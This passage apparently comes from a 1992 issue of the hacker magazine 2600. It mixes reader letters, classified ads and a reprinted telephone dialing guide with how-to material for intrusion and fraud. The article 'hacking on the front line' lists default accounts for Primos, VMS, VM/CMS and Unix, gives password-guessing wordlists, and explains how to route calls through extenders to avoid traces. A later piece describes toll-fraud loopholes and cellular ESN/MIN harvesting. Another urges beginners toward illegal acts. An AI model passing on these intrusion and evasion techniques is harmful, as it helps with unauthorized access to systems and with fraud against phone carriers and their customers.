mailing the magazine in an opaque plastic bag with a transparent section for
the address label on the magazine itself. Also, the return address has only
the mailing address, no tell-tale "Playboy" logo screaming "Steal me!".
I will continue to support your magazine through newsstand and back issue
sales (please make them available on an individual issue basis).
RD
Austin, TX
This definitely should not be happening. We have been having more of a
problem with damaged issues, missing issues, and envelopes ripped open
than ever before. Overall, the post office has done an amazing job but
we're very concerned with this recent plummet in competence and/or honesty.
We hope our readers complain loudly if anything happens to their mail.
It would help a lot if anybody sending a letter of complaint sent as a
copy so we can present it to the postal people on our end. Rest assured
this is a top priority matter for us. We'd rather not add packaging to the
magazine, for both cost and ecological reasons. We're interested in
hearing more feedback on this. With regards to our back issues, individual
issues are available from 1988 on at a cost of $6.25 each ($7.50 overseas).
1984 through 1987 are only available by year ($25, $30 overseas).
Comments From Abroad
Dear 2600:
Like many others, I'd noticed your Postnet example didn't correspond with
your description, and I'm even more delighted to see your C code for printing
them (I only have to modify it to suit my computer).
The "Gulf War Printer Virus" expresses pretty much my reaction - that is,
it wouldn't work! Unlike your anonymous writer, I expressed this opinion on
the Intemet and received some interesting information in January. Although
most newspapers and computer magazines credited the original article to the
Wall Street Journal, it appears the "real" original article was in InfoWorld in
the April 1, 1991.issuel We need not ascribe to the nefarious operations of
the NSA what can be adequately blamed on the idiocy of certain reporters.
On the other hand, could a "printer virus" slow down a computer? I'd
imagine it could, provided the computer was something relatively slow, like an
IBM XT or possibly AT. It all really depends on how they treat their parallel
printer port. If they generate interrupts upon receipt of a printer
acknowledge signal, then you merely need to rig the printer to blast the
acknowledge line at, say, 30 kilohertz. This would probably keep most CPUs
fairly busy, and slow down the performance nicely.
EL
Faulconbrldge, Australia
Dear 2600:
We just heard about your mag and think it's a wonderful idea - finally a
means by which we chip-heads can get in touch without spending loads of money
on phone bills. See, we got much electronic shit to denounce even here in the
ole continent, without mentioning the fucking growing corporate trash and the
expanding neo-nazi movement.
But we ain't much organized over here; that's why we need you guys to give
us a starting point. We'll go on from there. We ain't many either - but we
dunno how many are on the biz, became it's quite difficult to find 'em all -
but a steadily growing number anyway. We wish you a most "productive" work.
DF
Milan Italy
BBS Update
Dear 2600:
I am the sysop of the Tin Shack BBS at (818) 992- 3321. I have an ad in
the Spring 1992 edition offering free elite access to all 2600 readers. I would
like to thank you for publishing this ad and I'd like to thank the many
hackers who are calling our BBS. I have enjoyed the CHATs and messages from
your readers. We are starting an exclusive hackers conference and including a
hackers filebase in this conference for sharing of code and text on the fine
art of hacking that has continued to enhance the science of computing. We have
also attracted the attention of a law enforcement agency from New York. This
was easily detected as they were shying away from caller verification and then
stupidly sending me a check for Elite Access paid out by their operating
account of their home office. What a deal! Since we know our rights and hold
no illegal wares I publicly thank them for helping us to buy new hardware!
Hahaha! The message base in our new hackers conference will be current and
quite interesting. If you are a real hacker, give us a call. No wannabes,
phonies, or pheds allowed on the Tin Shack BBS.
Guy Nohrenberg
Sysop
Tin Shack BBS
(818) 992-3321
If you're promoting free speech and aren't doing anything illegal, there's
no reason to disallow anyone.
Voice Mail Question
Dear 2600:
How come your voice BBS is only open after 11 pm? Also, why do you give
out an expensive 0-700 number instead of a real phone number?
Puzzled
First off, the 0-700 number costs 15 cents a minute. A regular phone
number would cost 13 cents a minute. While slightly more, this is not
comparable to a 900 number or anything of that natare. We give out that
number because right now the system doesn't have a set phone number; it
sometimes shows up on different lines. It's only available at night
because it's currently a single-line system and opening the BBS during the
day would tie up the voice mail functions. Right now we're working on
expanding the system so that it shows up on our main number (516-751-
2600) and so that the BBS part is available around the clock with multiple
lines. To do this, we need to find some flexible multi-line voice mail
software along with some cheap computers. If anyone has any suggestions,
please send them our way. For now. the voice BBS can be reached through AT&T
at 0-700-751-2600. Most of our writers can be reached through the voice
mail section of that number, which is available 24 hours a day. During
business hours, the rate of the 0-700 number is 25 cents a minute. (Don't
worry, we're not making a penny off of this!)
------------------------------------------------------------------
2600 NOW HAS A VOICE BBS THAT OPERATES
EVERY NIGHT BEGINNING AT 11:00 PM EASTERN
TIME. FOR THOSE OF YOU THAT CAN'T MAKE IT TO
THE MEETINGS, THIS IS A GREAT WAY TO STAY IN
TOUCH. CALL 0700-751-2600 USING AT&T.
(IF YOU DON'T HAVE AT&T AS YOUR LONG DISTANCE
COMPANY, PRECEDE THE ABOVE NUMBER WITH 10288).
THE CALL COSTS 15 CENTS A MINUTE AND IT ALL GOES
TO AT&T. YOU CAN ALSO LEAVE MESSAGES FOR 2600
WRITERS AND STAFF PEOPLE AROUND THE CLOCK.
------------------------------------------------------------------
hacking on the front line
by AI Capone
As we have seen from previous raids/busts, the consequences of being
caught by the federal govemment, etc. are not worth it in the long run. If
they cannot cripple you physically, then they will do it emotionally or
financially. Therefore I do not recommend that any action taken to gain
unauthorized access is justifiable in any way. However the choice is yours.
People who desire to get into a "secure" system should know a few things
about it. First off. for me the word "secure" brings to mind a picture of a
human monitoring a system for 24 hours. All the nodes are watched
individually, and everything is hardcopied. This is obviously, in most (if not
all) cases, not feasible, as the man hours and/or the cash funding is non-
existent. Besides, to a system operator, watching everything a system does
could be quite boring. The hacker can capitalize on this.
The two things a hacker should know about when attempting to gain access
to a system are:
1. Typical formats for the system. (i.e. how you type in the login
sequence. Is the login and password on one continuous line, do you have to
type it in separately at different prompts, etc.)
2. Default and common passwords. Default accounts are the accounts that
come with the system when it is installed ("factory accounts"). Common
accounts are accounts set up by the system operator for particular tasks. The
probability exists that these accounts are present on the system that the
hacker is trying to penetrate, therefore they should be tried.
Identifying the System
If the owner of the system is not mentioned in the opening banner, you will
either have to gain access to the system itself or use CNA (Customer Name and
Address - the little thing that exists for identifying a telephone number).
Please remember that a brute force method on some systems is often recorded to
the account indicating the number of attempts that you have tried, sometimes
even writing the password that you've tried. More often than not, it will just
record the number of failed attempts. Aside from this, the system may "sound
an alarm". This is not a bell or siren that goes off; it is just a message
printed out and/or sent to any terminals designated as security operator
terminals (i.e. VMS). Example:
Welcome to Sphincter Systems Vax Cluster
Username: CHEESEHEAD
Password:
Welcome to Sphincter Systems, Mr. Mouse
Number of failed attempts since last entry: 227
Obviously, in the above example, Mr. Mouse would get the idea that someone
was attempting to gain access to his account and would promptly change the
password, assuming he was paying attention at login (Many people don't.
Logging into my favorite BBS, I have often left the room while my auto-login
macro was accessing the system. The same principle applies here.) Also, in the
above example, it was very stupid for Sphincter Systems to display the banner
identifying the system. This would only encourage the hacker in an attempt to
gain access (it always encouraged me), and at 227 attempts, the hacker should
have kept trying to gain access. Remember that once the account is accessed
correctly, the security counter is reset to zero and Mr. Mouse will probably
never know that someone else has his password (as long as no malicious or
destructive actions are carried out-and as long as he doesn't keep a record
of his login dates).
When I was scanning a network, I often found that most of the systems
identified themselves. On the other hand, the systems I found in most
telephone exchanges required that they be identified by other means. The
banner usually decided my interest in the system, whether I just wanted to
try a few things and move on, or really concentrate on the effort. It also
gave me a little extra ammunition since usernames and/or passwords may contain
some information which was displayed in the banner. Another thing I noticed
about networks that differed from local dial-in systems was that dial-in
systems would disconnect me after three to five attempts. Granted, the system
on the network would disconnect me, but only from the host. The network itself
would not, creating one less problem to deal with. System operators might
suspect something if they saw an outdial number being accessed every thirty
seconds or so.
Login:
Password:
(This is a Unix.)
Username:
Password:
(This is a VMS.)
@
(This is a Tops-20.)
Enter Usercode/Password
(This is a Burroughs.)
MCR]
(This is an RSX-11.)
ER!
(This is a Prime.)
.
(This is an IBM running a VM operating system.)
This list is by far not complete, as there are many more systems out
there, but it will get you started. Some of the time, it will tell you the
name in the opening. Crays, for example, usually identify themselves.
The Telephone
Make sure when you are dialing into the system that you realize that
somewhere along the trail there is a possibility of a trace. With all of the
switching systems in effect by Bell, etc. what you need to do is dial in using
an outside source. For instance, what I usually did was call an 800 extender
(not in Feature Group D), and then call the target system. The only times I
called the target system direct was when I was identifying the system (I did
not start hacking the system at this time), but even this is not recommended
these days. Things owned by Bell, such as COSMOS systems, SCCS networks, etc.,
are probably more risky than generic corporate systems. Of course using only
one extender should be the least of what you can do. If you call several
extenders and then the target system, the chances are that tracing the call
back to you will be next to impossible. But this method also is risky since
the long distance telephone company may not be overly enthused about you
defrauding them. At one time an acquaintance was harassing a company that was
tracing him. They let him know of the trace and just for the hell of it he
decided to stay on the line to see the results. The result was Paris, France.
Keep in mind he lives in the United States. This story displays an excellent
use of extenders. The only detriment I see is that by routing your call
through two or more extenders the integrity of the line decreases.
When using networks (Telenet, Tymenet, etc.) in connecting to the system,
your port is sent as an ID in order to accept your connection attempt. It
would really be simple then to isolate your number (providing you called the
network directly from your house) if you repeatedly attempt to use the system.
What you should do for this problem is loop through a gateway on the network.
The gateway is essentially an outdial which will connect to a system. Use the
gateway to call another network's dialup.
Common Passwords
The following is a list of common passwords for various systems. On a
respectable system, these will be constantly changed. But not all system
managers are smart or security conscious. The first system that I got into was
by using a common account (no password was needed in this case, just the Unix
"uucp" as a username). Sometimes systems are put up and completely left alone.
It seems the managers think that nobody will find the system. In my case, the
system was kept current, and I had "uucp" privileges to the School Board
computer. Remember, as long as you don't do anything that damages or destroys
data, they probably will never know that you have been there.
Common Accounts for the Primos System
Prime
Admin
Games
Test
Tools
System
Rje
Guest
Netman
Cmdnco
Primos
Demo
Regist
Prirun
Telenet
Common Accounts for the VM/CMS System
Operator
Cmsbatch1
Autolog1
Operatns
Vmtest
Vmutil
Maint
Smart
Vtam
Erep
Rscs
Cms
Sna
Common Accounts for the VAX/VMS System
Vax
Vms
Dcl
Demo
Test
Help
News
Guest
Decnet
Systest
Uetp
Default
User
Field
Service
System
Manager
Operator
Common Accounts for the Unix System
root
uucp
nuucp
daemon
who
guest
io
com
bin
sys
informix
uucpmgr
adm
profile
trouble
intro
rje
hello
Ip
setup
powerdown
uname
makefsys
mountfsys
checkfsys
umountfsys
This should give you an idea on where to start.
Combinations
The combinations to get into a system are nearly infinite. If the password
needed to get into the system is something like "FRM;UN!DA" then the chances
are extremely remote that you will get in. Multiply the following: the number
of tries where you use the username as the password by the variations of a
word (i.e. for "CMSBATCH" passwords could be "Batch" or "BATCHCMS"). Now add
on names and wild guesses. This should give you quite a list. All you can do
is exhaust your list of username/password combinations and move on. You have
done your best as far as trial and error hacking is concerned. Trashing for
printouts is also an option.
Druidic Death at one time surveyed a VM/CMS system's unencrypted password
file and wrote the results down as categories. This is a list of his findings:
Total number of system users: 157
Total number of accounts that can't be logged into: 37
Total number of passwords that are a form of the account name: 10
Total number of passwords that are the same as the account's name: 3
Total number of passwords that are a related word to the account name: 10
Total number of passwords that are first names, not the user's own: 17
Total number of passwords that are the user's first name: 19
Total number of passwords that are words related to the user's job: 7
Total number of passwords that are the name of the company: 1
Total number of random character passwords: 1
Total number of passwords that are, in some format, calendar dates: 32
Total number of passwords that were unchanged defaults: 7
This should give you an idea of how things are placed in a major corporate
computer.
Imagination
This is what you need to gain access to an account. Being a number cruncher
just won't do it anymore. In the following segment, I will list out ideas with
about 20 or 30 examples in each. This article will get you going. You just have
to finish the job.
Common First and Last Names
These can readily be obtainable out of the telephone book, the greatest
source of all first and last names. Examples:
Gus
Dave
Chris
Michele
Jessica
Arthur
Robert
Patrick
Arnold
Benjamin
Derek
Eddie
Shannon
Richard
Ross
Keith
William
Bubba
Mickey
Clyde
Colors
Figure it out for yourself, everything is possible. Examples:
Blue
Black
Orange
Red
Yellow
Purple
Magenta
Green
The Dictionary
The single most important document. Everyone should have one, and if you
do not have one get one. Many passwords are at your disposal. And, by all
means when on a Unix, download/usr/dict/words, the online dictionary. I also
believe that you should not limit your words to just the English versions.
There is no reason why passwords cannot be in Spanish, French, etc.
Types of Cars
Pontiac
Ford
Chevy
Buick
Toyota
Honda
Ferrari
Porsche
Motorcycles and all venue of transportation can be included in this segment.
Rock Bands
Zeppelin
Pink floyd
Hendrix
REM
Cream
Ozzy
Gunsroses
Mozart
Publicenemy
Etc.
This section can include magazines, software, profanities (when I was
validation sysop on Digital Logic's Data Service I don't know how many people
used the word FUCK when asking for validation). You should have accumulated
quite a list by now.
Conclusion:
This is it. I hope you have learned that nothing should be put past the
system manager. He is the only person between you and a system that could be
an excellent source of information. Enjoy!
References
Look at the following articles for in-depth information for specific
operating systems:
"Unix From the Ground Up" by The Prophet. Unbelievably helpful in learning
Unix.
Lex Luthor's "Hacking VAX/VMS". 2600 Magazine, February 1986.
"A Guide to the Primos Operating System" by Carrier Culprit. LOD/H
Technical Journal
"Hacking IBM's VM/CMS Operating System" by Lex Luthor. 2600 Magazine,
November and December 1987.
------------------------------------------------------------------
HOW TO USE THE DIAL TELEPHONE
(Yet another internal phone company document! This one we're
reprinting in it's entirety on the next two pages, as a public service.)
You will find the dial telephone easy to operate and the service it
provides fast and dependable. The information in the will be helpful to you in
obtaining the utmost satisfaction and convenience in the use of dial service.
New York Telephone Company
***
Listening for Dial Tone
On all calls, remove the receiver from the hook and listen for dial tone
before starting to dial. Dial tone is a steady humming sound in the receiver
indicating that the line is ready for you to dial.
Calls to Central Offices Which You Should Dial Direct
(Central offices which you should dial direct from your telephone are shown on
the card furnished to you.)
When you hear dial tone, keep the receiver off the hook and dial the first
two letters of the central office name, the office numeral, then each figure
of the line number.
For example, if dialing WOrth 2-9970 -
(1) Place your finger in the opening in the dial over the letter W.
(2) Pull the dial around until you strike the finger stop.
(3) Remove your finger from the opening, and without touching the dial
allow it to return to its normal position.
(4) Proceed in the same way to dial the letter 0 and the figures 2-9-9-7
and 0. If the number called has a party line letter, dial the number in
the same way, followed by the letter at the end of the number.
Within a few seconds after you have completed dialing, you should hear
either the ringing signal, an intermittent burr-rr-ing sound, or the busy
signal, a rapid buzz-buzz-buzz.
If you hear an interrupted buzzing sound, as buzz-buzz -- buzz-buzz, it
indicates that you have dialed the central office designation incorrectly.
Hang up the receiver, wait a few seconds, and make another attempt, being
careful to dial the central office designation correctly.
If you do not hear any signal within half a minute, hang up the receiver,
wait a few seconds and make another attempt.
When, for any reason, you do not obtain a connection (for example, the
called line is busy or does not answer), you will get quicker service if you
hang up the receiver and try the call again yourself at intervals instead of
immediately calling the operator for assistance. No charge is made unless you
obtain an answer from a subscriber's telephone.
If you make a mistake while dialing, hang up the receiver at once, wait a
few seconds, and make another attempt.
Before starting to dial a second call, always hang up your receiver for a
few seconds.
Obtaining Assistance from the Operator
If you have trouble in dialing, or if you have occasion to report cases of
service irregularities, you can reach the operator by placing your finger in
the opening in the dial over the word "OPERATOR" and then pulling the dial
around until you strike the finger stop.
After connection has once been established with the operator, you may
recall her by moving your receiver hook up and down slowly. This can be done
only when you are connected with the operator; on other calls, moving the
receiver hook will break the connection.
Calls from a Party Line or from a Line with an Extension Telephone
Always make sure that the line is not in use. If you do not hear the dial
tone, inquire if the line is being held by some other person. If no response
is received, hang up the receiver for a few seconds and make another attempt.
Listen on the line while dialing, and if you hear another party come in on
the line or hear successive clicks in the receiver, it indicates that someone
else on your line is trying to call. Inform him that the line is in use and
request him to hang up his receiver. When he does so, hang up your own
receiver for a few seconds, and then remove it and dial the complete number
again.
To call another party on your line, dial the operator, give her the number
you wish to call, state that it is the number of another party on your line,
and give her your number.
To call an extension telephone on your line, dial the operator, give her
your number and ask her to ring the extension telephone.
Calls by Number to Central Offices Which You Can Not Dial Direct
To place calls by number to central offices within New York City which
you can not dial direct, or to central offices at nearby points, dial the
operator and give her the number of the telephone with which you desire to be
connected, and also the number of the telephone from which you are calling.
For example -- "Bayside 9-5570 -- Walker 5-9970"
If the central office you are calling is not at a nearby point, give the
operator the name of the city, the name of the state, if desirable, the number
of the telephone wilh which you desfie to be connected, and also the number of
the telephone from which you are calling. For example --
"Philadelphia, Market 1234 -- Walker 5 -9970"
or
"Portland, Maine, Preble 1234 -- Walker 5-9970"
Out-of-Town Calls to Particular Persons
To make out-of-town calls to particular persons, dial the figures 2-1-1
and give the operator who answers the name of the person with whom you wish to
speak, the name of the city, the name of the state, the number of the
telephone with which you desire to be connected, and also the number of the
telephone from which you are calling. For example --
"Mr. Paul Smith at Boston. Massachusetts, Main 3340 -- Walker 5- 9970"
Information Calls
Telephone numbers of subscribers not listed in your directory, and telephone
numbers of subscribers at out-of-town points may be obtained by calling
Information.
To call Information, dial the figures 4-1-1.
Telegrams
To send a telegram, look up the telephone number of the desired telegraph
company in the directory, and dial this number as you would any other.
Calls to the Telephone Company
Repair Service....Dial the figures 6-1-1
Business Office...Dial the figures 8-1-1
Time of Day ....... Dial MEridian 7-1212
Emergency Calls
(Police, Fire, Ambulance)
Dial the operator, give her your number and say --
"I want a policeman."
"I want to report a fire."
"I want an ambulance."
If compelled to leave the telephone before the desired station answers,
tell the operator where help is required.
You may also reach the Police and the Fire Departments directly by dialing
the numbers listed in the directory.
Dial Coin Telephones
The operation of dial coin telephones is quite similar to that of your own
dial telephone. The only differences are that it is necessary to deposit a
coin in order to obtain dial tone (indicating that the line is ready for you
to dial) and that telegrams are sent by dialing the operator and telling her
the telegraph company desired. If the called line is busy or does not answer,
the coin will be returned after the receiver is hung up.
------------------------------------------------------------------
Meridian Mail
We are pleased to introduce Meridian Mail, a telephone answering system
designed to provide guests with the best possible message service.
When you are unable to answer calls to your room, Meridian Mail answers
them for you. Callers are informed that you are not available. Messages
can be left for you automatically, in detail, in any language, and in
complete confidentiality.
Your messages are stored in your personal "Voice Mailbox", to be retrieved
directly by you. Unless you choose to delete them, messages remain in your
voice mailbox until you check out.
To Hear Your Messages
From your room
The light on your telephone will flash when you have a new message.
To retrieve your messages:
Lift the handset and press MESSAGE KEY.
Reviewing the messages in your mailbox:
To move to the previous message, press 4.
To move to the next message, press 6.
Listening to your messages:
To play, press 2.
To continue playback, press 2 again.
To step forward, press 3. This allows you to skip quickly
through a long message.
To step backward, press1. This allows you to review a portion
of the message.
To get help
If you have trouble while accessing your mailbox, Meridian Mail
automatically prompts you with the helpful instructions.
If you need more help:
Press * any time while you are using Meridian Mail.
If you would rather speak to an attendant:
From inside the Hotel, dial 0.
From outside the hotel, dial 484-1000.
From outside your room
You can retrieve messages while away from your room.
From inside the hotel, dial 4434, from outside the hotel, dial
646-4434 or 484-1000.
Enter your room number and press #
Enter your password and press #
Using a rotary phone
When using a rotary phone, you can only listen to your messages. You
need a touch-tone phone to use any special commands.
From inside the hotel, dial 0
From outside the hotel, dial 202-484-1000
Give the attendant your name, room number, and password
"Other mail"
If you have other messages at the front desk, Meridian Mail informs
you that you have "other mail".
To retrieve your other mail
Press 0.
Your Password
When you check in, your password is initially set to the first four
digits of your last name. For example:
Last Name Password
Smith Smit
Jones Jone
Contact the front desk if you need more information on passwords.
(Computer hackers at the CFP conference in Washington DC this spring found it
astoundingly easy to get into guests' mailbox. All you need is a name and a room
number! We wonder how many other hotels are so trusting.)
------------------------------------------------------------------
2600 Marketplace
2600 meetings: New York City: First friday of the month at the Citicorp
Center--from 5 to 8 pm in the lobby near the payphones, 153 E 53rd St.,
between Lexington and 3rd Avenues. Come by, drop off articles, ask questions,
find the undercover agents. Call 516-751-2600 for more info. Payphone numbers:
212-223-9011, 212-223-8927, 212-308-8044, 212-308-8162. Washington DC: In
the Pentagon City mall from 5 to 8 pm on the first Friday of the month. San
Francisco: At 4 Embarcadero Plaza (inside) from 5 to 8 pm on the first Friday
of the month. Payphone numbers: 415-398-9803,4,5,6. Los Angeles: At tbe Union
Station, corner of Macy St. and Alameda from 5 to 8 pm, first Friday of the
month. Inside main entrance by bank of phones. Payphone numbers: 213-972-
9358, 9388, 9506, 9519, 9520; 213-625-9923, 9924; 213-614-9849, 9872, 9918,
9926. Chicago: Century Mall, 2828 Clark St., 5 pm to 8 pm, first Friday of the
month, lower level, by the payphones. St. Louis: At the Galleria, Highway 40
and Brentwood, 5 pm to 8 pm, first Friday of the month, lower level, food
court area, by the theaters. Philedelphea: 6 pm at the 30th Street Amtmk
station at 30th & Market, under the "Stairwell 7" sign. Payphone numbers: 215-
222- 9880,9881,9779,9799,9632, and 387-9751. For info, call 215-552-8826.
Cambridge, MA: 6 pm at Harvard Square, outside the "Au Bon Pain" bakery store.
If it's freezing, then inside "The Garage" by the Pizza Pad on the second
floor. Call 516-751-2600 to start a meeting In your city.
TOP QUALITY computer virus info. Little Black Book of Computer Viruses $14.95,
add $2.50 postage. Disassemblies of popular viruses, fully commented and fully
explained. Write for list. American Eagle Publications, Box 41401, Tucson, AZ
85717.
ARRESTED DEVELOPMENT. H/P/A/V. +31.79.426079. Renegade 8-10 UUCP DOMAINS!
Virnet Node, PGP Areas, 386-33mhz, 300mb, USR DS 38k4.
LOOKING FOR ANYONE and everyone wanting to trade ideas, Amiga files, info
about "interesting" things. I have about 10 megs of text files, ALWAYS looking
for more! Contact Steve at 414-422-1067 or cmail rlippen@csd4.csd.uwm.edu
WE CAME, WE SAW, WE CONQUERED. 11"x 17" full color poster of pirate flag
flying in front of AT&T facility. Send $6 to P.O. Box 771071, Wichita, KS
67277-1072.
PHONES TAPPED, office/home bugged, spouse cheating. Then this catalogue is for
you! Specialized equipment, items, and sources. It's time to get even.
Surveillance, countermeasures. espionage, personal protection. Send $5 check
or money order to B.B.I., PO Box 978, Dept. 2-6, Shoreham, NY 11786.
TAP BACK ISSUES, complete set Vol. 1-91 of QUALITY copies from originals.
Includes schematics and indexes. $100 postpaid. Via UPS or 1st Class Mail.
Copy of 1971 Esquire article The Secrets of the Little Blue Box" $5 & large
SASE w/52 cents of stamps. Pete G., PO Box 463, Mr. Laurol, NJ 08054. We are
the Original!
PRINT YOUR ZIP CODE IN BARCODE. A great label program that allows you to use a
database of address to print label with barcode. You also type and print a
custom label. Send $9 no check to: H. Kindel, 5662 Calle Real Suite 171,
Goleta, CA 93117. IBM only.
GENUINE 6.5536 MHZ CRYSTALS only $5.00 each. Orders shipped postpaid via First
Class Mail. Send payment with name and address to Electronic Design Systems,
144 West Eagle Road, Suite 108, Havenown, PA 19083. Also: information wanted
on Northeast Electronics Corp's TTS-59A portable MF sender and TTS-2762R MF
and loop signalling display. Need manuals, schematics, alignment and
calibration instructions (or photocopies). Will reward finder.
WIRELESS MICROPHONE and wireless telephone transmitter kits. Featured in the
WINTER 1991-92 2600. Complete kit of paris with PC board. $20 CASH ONI.Y, or $
35 for both (no checks). DEMON DIALER K/T as reviewed in this issue of 2600.
Designed and developed in Holland. Produces ALL voiceband signals used in
worldwide telecommunications networks. Send $250 CASH ONLY (DM 350) to
Hack-Tic Technologies, Postbus 22953, 1100 DL Amsterdam, Netherlands (allow up
to 12 weeks for delivery). Please call +31 20 6001480 * 144,. Absolutely no
checks accepted!
FORMER U.S. ARMY ELECTRONIC WARFARE TECHNICIAN with TS clearance looking for
surveillance work which requires cunning, ingenuity, and skill. Prolocks of
Atlantic City, Box 1769, Atlantic City, NJ 08404.
TIN SHACK BBS (818) 992-3321. The BBS where hackers abound! Over a gig of
files, many on-line games! Multi-line! 2600 Magazine readers get FREE elite
access!
WOULD LIKE TO TRADE IDEAS with and befriend any fellow 2600 readers. Call Mike
at 414-458-6561 if interested.
*******************************************************
***** *****
***** Marketplace ads are FREE to subscribers *****
***** *****
*******************************************************
------------------------------------------------------------------
getting started
by Phord Prefect
So you watched something on TV and it was about hackers... you said
"nifty" .... You read something on a BBS about free phone calling... you
said "cool" .... You started checking out books from the library about
Knight Lightning, or maybe even blue boxing (Esquire, October 1971 )... you
said "wow" .... You got this magazine and said, "I have to do this" but
didn't know where to start.
Well, you're not alone ....
Your curiosity overwhelms you, but yet you can't seem to find that little
thing to start your exploration. You could try looking around for other
hackers, but if they have a lick of sense they won't make it too obvious. Try
looking harder, they might just come to you.
So this doesn't work... you just can't seem to find any, or they're
mostly pirates and can't help you. Well, you're just going to have to get the
balls to do something illegal in your life (but I'm not forcing you), so do
something. This magazine is full of examples. Sure there's stealing MCI
calling cards, building blue, red, or whatever boxes, but there are much
deeper things. If you defraud the phone company, you're not a hacker, you just
get free phone calls. You need a passion for the system. You need a
willingness to learn a lot about the system before you do something.
If you're looking for free phone calls, hurry up and do that and stop
wasting your time. Like I said, you're not a hacker, you just are bothered and
need a little trick to get onto BBS's in some distant place.
If you have a curiosity for the system, then you're in the right place.
The phone company is something so amazingly huge that one could probably spend
a lifetime exploring it. This "exploring" is what 2600 is all about. I know
that you computer genius teenagers don't need manuals for things (like
computer programs and VCR's) and are really impatient, so you don't want the
bullshit. You want to know how to get into systems now. Well, relax. You made
a good decision buying this mag, but you have to learn first. You need to
know this thing backwards and forwards or else you'll screw up and get caught.
So, in response to the beginners writing in and wanting to "know how to
get free phone calls and other phone tricks", you need to get knowledge. Read
everything you can get your hands on and when you feel the time is right,
after you know exactly how, where, why, and when to do it, do it.
------------------------------------------------------------------
Restricted Data Transmissions
Toll fraud is a serious problem that plagues the telecommunications
industry. Recently l have acquired a collection of trashed documents detailing
what AT&T and Bellcore are doing to stop these "thefts."l found these papers
very enlightening and occasionally humorous. A few insights into what's
bugging the telco.
Toll Fraud Prevention Committee (TFPC): This is an industry-wide "forum"
committee set up in conjunction with Bellcore that deals with, guess what,
toll fraud. The TFPC has "super elite" meetings every once in awhile. All
participants are required to sign non-disclosure agreements. Fortunately,
the participants frequently toss their notes in the POTC (Plain Old Trash
Can -- see. I can make stupid acronyms just like Bellcore!). As far as I'm
concerned, once it's in the POTC, it's PD (public domain)!
The "open issues" concerning the TFPC currently are Third Number
Billing Fraud, International Incoming Collect Calls to Payphones, and Incoming
Collect Calls to Cellular. Apparently, they have noticed a marked increase in
third number billing fraud in California. To quote a memo, "The most prevalent
fraud scams include originating from coin/copt (aka COCOTs) phones as well as
business and residence service that is fraudulently established." Third
party billing from COCOTs is an old trick. Another type of COCOT abuse
discussed 10XXX (where XXX is the code for a certain LD carrier), the caller
on the COCOT gets to choose their LD carrier. However, in some cases
the LEC (Local Exchange Carrier) strips off the 10XXX and then sends the call
to the lXC (Inter-Exchange Carrier, the guys that place the LD call) as a 1 +
directly dialed call. So, when you dial 10XXX+O11+international number, the
LEC strips the 10XXX and the IXC sees the call as directly dialed
international and assumes the call has been paid for by coin into the COCOT.
Dialing 10XXX+1+ACN also sometimes works for LD calls within the United
States. Anyway, COCOT providers are wigging out a bit because, while they must
provide 10XXX+O service, they want to block the 10XXX+1 and 10XXX+011
loopholes, but LEC's have chosen to provide COCOTs with a standard business
line which is not capable of distinguishing between these different
situations, which is why central offices have been typically programmed to
block all types of 10XXX calls from COCOTs. Thanks to the FCC, they can't do
that anymore; it's breaking the law. So COs have been reprogrammed into
accepting these 10XXX calls from all COCOTs, and the burden of selectively
blocking the 10XXX+1 and 10XXX+011 loopholes often falls upon the COCOT
manufacturer. They gotta build lt into the COCOT hardware itself!
Well, many early COCOTs cannot selectively unblock 10XXX+O, so their
owners face a grim choice between ignoring the unblocking law (thereby facing
legal problems), unblocking all 10XXX calls (thereby opening themselves up
to massive fraud), or replacing their COCOTs with expensive, more
sophisticated models. Other LECs have begun offering call screening and other
methods to stop this type of fraud, but the whole situation is still pretty
messy. By the way, for a comprehensive list of 10XXX carrier access codes,
see the Autumn 1989 issue of 2600, page 42 and 43. While they are constantly
changing, most of these should still be good.
Incoming international Collect to Cellular: according to the notes when
a cellular phone is turned on, it 'checks in' with the local cellular office.
When this happens, a device that 'reads' radio waves can capture the
identification of the cellular phone. A tremendous volume of 'cloned'
fraudulent cellular calls are going to Lebanon." Same old trick, grabbing the
cell phone's ESN/MIN as it's broadcast. The only twist is that you call
someone's cellular phone collect in order to get them to pick up and broadcast
their ESN/MIN (they will probably refuse the call, but they will have
broadcast their ESN/MIN nevertheless!) But why Lebanon?
The American Public Communications Council mentioned "a desire for the
TFPC to be involved in the resolution of clip-on fraud." Maybe you guys should
try better shielding of the phone line coming out the back of the COCOT??
Apparently, clip-on fraud has really taken off with the recent flux of new
COCOTs. COCOTs operate off a plain old customer loop, so clipping onto the
ring and tip outside the body of the COCOT works nicely. That is, assuming you
can get at the cables and get through the insulation.
Incoming International Collect: This is a big issue. A person from overseas
calls a payphone collect in the United States. His/her buddy answers the
payphone and says, "Sure, l accept the charges." Believe it or not, this trick
works many times! Here's why. In the United States, databases containing
all public telephone numbers provide a reasonable measure of control over
domestic collect abuse and are available to all carriers for a per-use charge.
These databases are offered and maintained by the local telephone companies
(LTC). Domestic collect-to-coin calling works well, because most operator
services systems in the United States query this database on each domestic
collect call. Most Local Exchange Carriers in the United States also offer
this database service to owners of COCOTs (for those few that accept incoming
calls).
However, international operators across the world do not share access to
this database, just as United States international operators do not have
database access overseas! The CCITT, the international consortium of
telecommunications carriers, recognized this serious problem many years ago
with its strong recommendation to utilize a standardized coin phone
recognition tone (commonly called the cuckoo tone) on every public telephone
line number. Such a tone would be easily recognized by operators worldwide,
and is currently in use by many foreign telcos.
The United States decided to ignore this logically sound recommendation,
having already employed a numbering strategy for public telephones which,
together with a reference document called the "Route Bulletin", alerted
foreign operators that the called number should be checked for coin with the
United States inward operator. This simple procedure greatly reduced the
number of times that the foreign operator had to check with the United States
operator, yet was effective at controlling abuse. Everyone slept soundly.
But after the bust-up of AT&T in 1984, the local telephone companies,
operating independently and under pressure to offer new services (cellular,
pagers, etc.), abandoned the public phone fixed numbering strategy! In
addition, in June of 1984 the FCC decided to allow the birth of private
payphones (COCOTs). And, up until 1989, nothing was done to replace the fraud
prevention system. Can you say "open season"?
In 1989, the TFPC began seeking a solution to the growing volume of
fraudulent collect calls resulting from this void in the fraud prevention
architecture. Numerous solutions were explored. A primary solution was chosen.
Validation database! Yes, the TFPC chose to support 100 percent the LEC
database solution, with the cuckoo payphone recognition tone as one of a
number of secondary solutions. This decision caused problems, problems,
problems, since it was evaluated that a great number of foreign telcos would
be unable to implement this database-checking routine (for a variety of
technical reasons). Furthermore, because this TFPC "solution" to the United
States' problem is not in conformance with international requirements, the
foreign telcos view it with strong opposition as an unacceptable solution due
to the additional worktime that would be incurred and the blatant unwillingness
on the part of the United States to follow an effective and longstanding
